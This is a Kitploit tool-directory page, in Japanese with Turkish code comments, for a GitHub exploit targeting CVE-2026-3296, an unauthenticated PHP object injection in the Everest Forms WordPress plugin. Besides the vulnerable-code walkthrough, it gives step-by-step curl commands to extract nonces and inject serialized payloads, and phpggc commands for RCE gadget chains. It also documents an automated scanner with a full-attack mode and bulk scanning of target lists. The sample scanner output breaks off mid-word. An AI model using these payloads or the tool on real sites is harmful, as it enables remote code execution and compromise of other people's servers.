Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-3296 — CVE-2026-3296は、Everest Forms WordPressプラグインにおける、CVSS 9.8 Criticalの認証されていないPHPオブジェクトインジェクションの脆弱性です。 | Kitploit
ツール/GitHubGitHub/xxconi/cve-2026-3296
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストペイロード開発
GitHubxxconi/cve-2026-3296

CVE-2026-3296

CVE-2026-3296は、Everest Forms WordPressプラグインにおける、CVSS 9.8 Criticalの認証されていないPHPオブジェクトインジェクションの脆弱性です。

リポジトリを見る
2ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-3296

CVE-2026-3296 は、Everest Forms WordPress プラグインにおける、認証を必要としない PHP オブジェクトインジェクションの脆弱性で、CVSS 9.8 の Critical です。

CVE-2026-3296 — Everest Forms PHP オブジェクトインジェクションスキャナー

プラグイン: Everest Forms – コンタクトフォーム、ペイメントフォーム、クイズ、サーベイ&カスタムフォームビルダー プラグインスラッグ: everest-forms CVE ID: CVE-2026-3296 CVSS スコア: 9.8 (Critical) CVSS ベクター: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 脆弱性の種類: 認証なし PHP オブジェクトインジェクション → RCE 影響を受けるバージョン: <= 3.4.3 修正済みバージョン: 3.4.4 公開日: 2026年4月7日 研究者: 0xsabre — Mobikwik / Wordfence


📌 脆弱性について

Everest Forms プラグインは、フォーム入力メタデータを管理画面で 表示する際に、PHP のネイティブ unserialize() 関数を allowed_classes パラメータなしで呼び出します。

認証されていない攻撃者は、任意の公開フォームフィールドに シリアライズされた PHP オブジェクトペイロードを埋め込んで、 データベースに保存できます。管理画面でエントリが表示されると unserialize() がトリガーされ、環境内の任意の POP ガジェットチェーンが実行されます。


🔍 脆弱性の概要


⚙️ 技術分析

2フェーズ攻撃モデル

root@kitploit:~
FAZ 1 — ENJEKSIYON (Kimlik doğrulama gerekmez)
FAZ 2 — TETİKLEME (Admin panel görüntülemesi)

フェーズ 1 — インジェクション: ペイロードの保存

フォーム送信フック (class-evf-form-task.php, line 75)

root@kitploit:~
// Her front-end sayfa yüklemesinde tetiklenir
add_action( 'wp', array( $this, 'listen_task' ) );
root@kitploit:~
// line 109 — kullanıcı verisi sanitize edilerek işlenir
$this->do_task( evf_sanitize_entry( wp_unslash( $_POST['everest_forms'] ) ) );

サニタイズが不十分な理由 (evf-core-functions.php, line 4754)

root@kitploit:~
// sanitize_text_field() HTML tag, null byte siler
// PHP serialization karakterlerini (O:, s:, {, }, ;) SİLMEZ
default:
    $entry['form_fields'][$key] = sanitize_text_field(
        $entry['form_fields'][$key]
    );

このペイロードは sanitize_text_field() 後も完全に保持されます:

root@kitploit:~
O:8:"stdClass":1:{s:5:"pwned";s:3:"yes";}

追加バグ — 早期 return (line 4764)

root@kitploit:~
// return $entry; ifadesi foreach döngüsü İÇİNDE
// → Yalnızca ilk alan sanitize edilir, geri kalan alanlar ham kalır
foreach ($entry['form_fields'] as $key => $value) {
    ...
    return $entry;  // ← BUG: döngü ilk iterasyonda çıkar
}

データベースへの書き込み (class-evf-form-task.php, line 1326)

root@kitploit:~
$entry_metadata = array(
    'entry_id'   => $entry_id,
    'meta_key'   => sanitize_key( $field['meta_key'] ),
    'meta_value' => maybe_serialize( $field['value'] ),
    // maybe_serialize() düz string'i değiştirmez
    // → Serialized object string verbatim yazılır
);
$wpdb->insert( $wpdb->prefix . 'evf_entrymeta', $entry_metadata );

フェーズ 2 — トリガー: 安全でない逆シリアライズ

脆弱なコード (html-admin-page-entries-view.php, line 130–133)

root@kitploit:~
$meta_value = is_serialized( $meta_value )
    ? $meta_value
    : wp_strip_all_tags( $meta_value );

if ( is_serialized( $meta_value ) ) {
    $raw_meta_val = unserialize( $meta_value );
    // ↑ allowed_classes parametresi YOK
    // PHP varsayılanı: TÜM sınıflar instantiate edilebilir
    // → POP gadget chain tetiklenir
}

安全なラッパーは存在するが使用されていない (evf-core-functions.php, line 5594)

root@kitploit:~
// Bu fonksiyon zaten mevcuttu — sadece çağrılmadı
function evf_maybe_unserialize($data, $options = array()) {
    if (is_serialized($data)) {
        if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
            $options = wp_parse_args($options, array('allowed_classes' => false));
            return @unserialize(trim($data), $options);  // Güvenli
        }
        return null;
    }
    return $data;
}

Nonce が保護にならない理由

root@kitploit:~
<!-- Public form HTML'inde gömülü — herkes okuyabilir -->
<input type="hidden" name="_wpnonce123" value="abc123def456">

Nonce は CSRF 保護を提供しますが、認証は提供しません。 攻撃者は GET でフォームページを開いて nonce を読み取り、その後に POST でペイロードを送信します。


🔴 完全な攻撃チェーン

root@kitploit:~
┌──────────────────────────────────────────────────────────────┐
│  FAZ 1 — ENJEKSIYON (Unauthenticated)                       │
│                                                              │
│  GET /contact/                                               │
│  → form_id=123, nonce=abc123, field=text_xyz                 │
│                                                              │
│  POST /contact/                                              │
│  everest_forms[id]=123                                       │
│  everest_forms[form_fields][text_xyz]=O:8:"Evil":1:{...}    │
│  _wpnonce123=abc123                                          │
│       │                                                      │
│       ├── sanitize_text_field() → serialization korunur     │
│       ├── maybe_serialize() → string değişmez               │
│       └── wp_evf_entrymeta.meta_value = "O:8:\"Evil\"..."   │
└──────────────────────────┬───────────────────────────────────┘
                           │  (Admin rutin kontrol yapar)
┌──────────────────────────▼───────────────────────────────────┐
│  FAZ 2 — TETİKLEME (Admin Panel)                            │
│                                                              │
│  GET /wp-admin/admin.php                                     │
│      ?page=evf-entries&form_id=123&view-entry=456           │
│       │                                                      │
│       ├── is_serialized($meta_value) = true                  │
│       ├── unserialize($meta_value)   ← ZAFIYET              │
│       │   allowed_classes = (yok) → tüm sınıflar            │
│       └── POP gadget chain → __wakeup() / __destruct()      │
│           → RCE / File Write / Data Exfil                    │
└──────────────────────────────────────────────────────────────┘

🧪 Proof of Concept (手動)

⚠️ 免責事項: この PoC は教育および防御的なセキュリティ研究目的でのみ提供されます。

前提条件:

  • Everest Forms <= 3.4.3 がインストールされ有効
  • 公開アクセス可能なフォームページ
  • 管理パネルへのアクセス(トリガー用)

ステップ 1 — フォーム ID と Nonce を取得

root@kitploit:~
TARGET="https://target-site.example.com/contact/"

# Form ID çıkar
curl -s "$TARGET" | grep -oP 'name="everest_forms\[id\]" value="\K[0-9]+'

# Nonce çıkar
curl -s "$TARGET" | grep -oP '(?<=name="_wpnonce)[0-9]+" value="\K[^"]+'

ステップ 2 — 良性テストペイロードの作成

root@kitploit:~
# Güvenli test — stdClass, magic method yok
PAYLOAD='O:8:"stdClass":2:{s:6:"source";s:14:"CVE-2026-3296";s:6:"pwned";s:3:"yes";}'

実際の環境では、PHPGGC で POP チェーンを生成:

root@kitploit:~
# WordPress/RCE1 chain
phpggc WordPress/RCE1 system "id" -s

# Monolog chain
phpggc Monolog/RCE1 system "id" -s

ステップ 3 — ペイロードのインジェクション

root@kitploit:~
FORM_ID="123"
NONCE="abcdef1234"
FIELD="text_abc123"

curl -s -X POST "$TARGET" \
  -d "everest_forms[id]=${FORM_ID}" \
  -d "everest_forms[form_fields][${FIELD}]=${PAYLOAD}" \
  -d "_wpnonce${FORM_ID}=${NONCE}" \
  -d "everest_forms[hp][abc]="

期待される結果: フォームの成功メッセージまたはリダイレクト。


ステップ 4 — データベースで確認 (WP-CLI)

root@kitploit:~
wp db query \
  "SELECT meta_value FROM wp_evf_entrymeta ORDER BY meta_id DESC LIMIT 3;" \
  --allow-root
# O:8:"stdClass":2:{...} satırı görünmeli

ステップ 5 — 管理者としてトリガー

root@kitploit:~
https://target-site.example.com/wp-admin/admin.php
  ?page=evf-entries
  &form_id=123
  &view-entry=<ENTRY_ID>

ページが読み込まれると unserialize() が実行されます。


ステップ 6 — ガジェットチェーンの検証(テスト環境)

root@kitploit:~
// test-gadget.php — SADECE TEST ORTAMINDA KULLAN
class TestGadget {
    public function __wakeup() {
        file_put_contents(
            '/tmp/pwned.txt',
            'PHP Object Injection confirmed at ' . date('c')
        );
    }
}
root@kitploit:~
cat /tmp/pwned.txt
# PHP Object Injection confirmed at 2026-04-08T...

🛠️ 自動スキャナー

インストール

root@kitploit:~
git clone https://github.com/kullanici/cve-2026-3296-scanner
cd cve-2026-3296-scanner
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests

🚀 使用方法

脆弱性の検出(良性ペイロード)

root@kitploit:~
python everest_forms_poi.py -u http://hedef.com --mode scan

インジェクションのみ(フェーズ 1)

root@kitploit:~
python everest_forms_poi.py -u http://hedef.com --mode inject \
  --payload-type probe

完全な攻撃(フェーズ 1 + フェーズ 2)

root@kitploit:~
python everest_forms_poi.py -u http://hedef.com --mode full \
  --admin-user admin --admin-pass Pass123!

手動フォーム ID + カスタムペイロード

root@kitploit:~
python everest_forms_poi.py -u http://hedef.com --mode inject \
  --form-id 5 --field-name text_abc123 \
  --custom-payload 'O:8:"stdClass":1:{s:4:"test";s:2:"ok";}'

OOB コールバックによる検出(Burp Collaborator)

root@kitploit:~
python everest_forms_poi.py -u http://hedef.com --mode scan \
  --payload-type ssrf \
  --callback-url http://your.burp.collaborator.net

一括スキャン

root@kitploit:~
python everest_forms_poi.py -l targets.txt -t 10 \
  --mode scan -o sonuclar.txt

プロキシ使用(Burp Suite)

root@kitploit:~
python everest_forms_poi.py -u http://hedef.com --mode full \
  --admin-user admin --admin-pass Pass123! \
  --proxy http://127.0.0.1:8080

⚙️ パラメータ

モード

モード説明
scan良性ペイロードをインジェクト — 脆弱性の検出
injectフェーズ 1 のみ — ペイロードを保存
triggerフェーズ 2 のみ — 管理者ログインでトリガー

一般パラメータ

フォームパラメータ

ペイロードオプション

管理者認証情報

パラメータ説明
--admin-user管理者ユーザー名
--admin-pass管理者パスワード

💀 ペイロードタイプ

💡 PHPGGC による実際のチェーン生成:

root@kitploit:~
# WordPress/RCE1
phpggc WordPress/RCE1 system "id" -s

# Monolog/RCE1
phpggc Monolog/RCE1 system "id" -s

# Tüm mevcut chain'leri listele
phpggc -l

📊 スキャナー出力ステータス


🖥️ スキャナー出力例

root@kitploit:~
[*] Hedef         : http://hedef.com
[*] Mod           : full
[*] Payload Tipi  : probe
[*] Komut         : id
[*] Admin User    : admin

[→] http://hedef.com  Adım 1: Everest Forms formu aranıyor...
[→] http://hedef.com  Adım 2: Payload enjekte ediliyor...
[→] http://hedef.com  Adım 3: Admin girişi yapılıyor...
[→] http://hedef.com  Adım 4: Entry ID aranıyor...
[→] http://hedef.com  Adım 5: unser
ツールをダウンロード
項目値
CVE IDCVE-2026-3296
CVSS9.8 Critical
種類PHP Object Injection (Deserialization of Untrusted Data)
影響を受けるバージョン<= 3.4.3
修正済みバージョン3.4.4
認証不要(インジェクション)、管理者(トリガー)
CWECWE-502: Deserialization of Untrusted Data
fullフェーズ 1 + フェーズ 2 — 完全な攻撃
パラメータ省略形説明デフォルト
--url-u単一のターゲット URL—
--list-lターゲットリストファイル—
--threads-tスレッド数5
--output-o出力ファイルpoi_results.txt
--proxy—プロキシ URL—
--force—プラグイン検出に失敗しても続行False
パラメータ説明デフォルト
--form-idCF7 フォーム ID自動検出
--form-urlフォームページ URL自動検出
--field-nameターゲットフィールド名自動検出
--nonceフォーム nonce 値自動抽出
--entry-idエントリ ID(トリガーモード)自動検出
パラメータ説明デフォルト
--payload-typeペイロードタイプprobe
--custom-payloadカスタムシリアライズ文字列—
--cmdRCE コマンドid
--callback-urlOOB コールバック URL—
タイプ説明用途
probe良性の stdClass — 副作用なし脆弱性の検出
file_writeファイル書き込み(TestGadget)テスト環境での検証
ssrfHTTP コールバック — OOB 検出Burp Collaborator
wp_rceWordPress POP チェーンのプレースホルダーPHPGGC で生成
yoast_rceYoast SEO POP チェーンのプレースホルダーPHPGGC で生成
monolog_rceMonolog POP チェーンのプレースホルダーPHPGGC で生成
ステータス説明
★ PWNED逆シリアライズがトリガーされ、ペイロードが実行された
★ VULNペイロードがインジェクトされ、脆弱性が確認された
~ TRIGGEREDエントリが表示された — ガジェットチェーンを手動で確認
- INJ_FAILインジェクション失敗(パッチ済み / フォームなし)
~ NO_FORMEverest Forms フォームが見つからない
- NO_PLUGINプラグインがインストールされていない
~ NO_CREDS管理者認証情報が不足
- ADM_FAIL管理者ログイン失敗
~ UNREACHターゲットに到達できない